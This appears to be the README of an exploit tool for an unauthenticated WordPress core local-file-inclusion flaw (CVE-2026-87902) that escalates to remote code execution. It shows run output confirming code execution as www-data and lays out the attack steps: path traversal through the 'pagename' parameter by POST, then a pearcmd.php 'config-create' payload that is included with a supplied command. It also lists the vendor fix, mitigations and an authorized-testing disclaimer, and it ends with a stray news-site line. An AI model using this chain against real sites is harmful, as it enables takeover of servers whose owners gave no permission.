# CVE-2026-87902 — Unauthenticated local file inclusion in WordPress core page-template resolution → RCE
**Author:** pwnVader · **License:** MIT (repository root)
| **Component** | WordPress core (`wp-includes/template.php`) |
| **Type** | CWE-98 — PHP file inclusion (LFI → RCE) |
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
If the LFI is confirmed but PEAR is absent (or `register_argc_argv` is Off), the script reports
the precondition clearly and exits **without writing anything** (`exit 3`).
1. Find a public page ID (sitemap → homepage body class → numeric probe).
2. For each candidate `page-*` theme directory and traversal depth, request
`page-/../../…/wp-includes/version.php` through the `pagename` parameter
(`POST`, empty body — required because WordPress canonical-redirects `GET`/`HEAD` first).
3. A `200` response with a **0-byte** body (vs the multi-KB page baseline) proves the inclusion.
4. RCE check: attempt `pear config-create` through the LFI with a self-deleting payload, then
include the written file with a command supplied in the request.
Vendor fix in 7.1.2 (`wp-includes/template.php`):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
plus a `realpath()` containment check in `locate_template()`
(`_wp_is_template_path_allowed()`). `wordpress-7.0.6` contains the byte-identical fix.
- Update WordPress core to **7.1.2** (or **7.0.6** for the 7.0 branch).
- Interim: reject `pagename` values containing traversal sequences (`..`, `%2e%2e`,
`%252e%252e`) on every HTTP method, or remove the `page-*` theme directory precondition.
- NVD — CVE-2026-87902:
- Vendor advisory:
- Fixed releases: ·
For authorized security testing only. The RCE modes use a self-deleting payload and never write
anything beyond their own temporary marker file, but they still execute commands on the target —
run them only where you have explicit permission.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
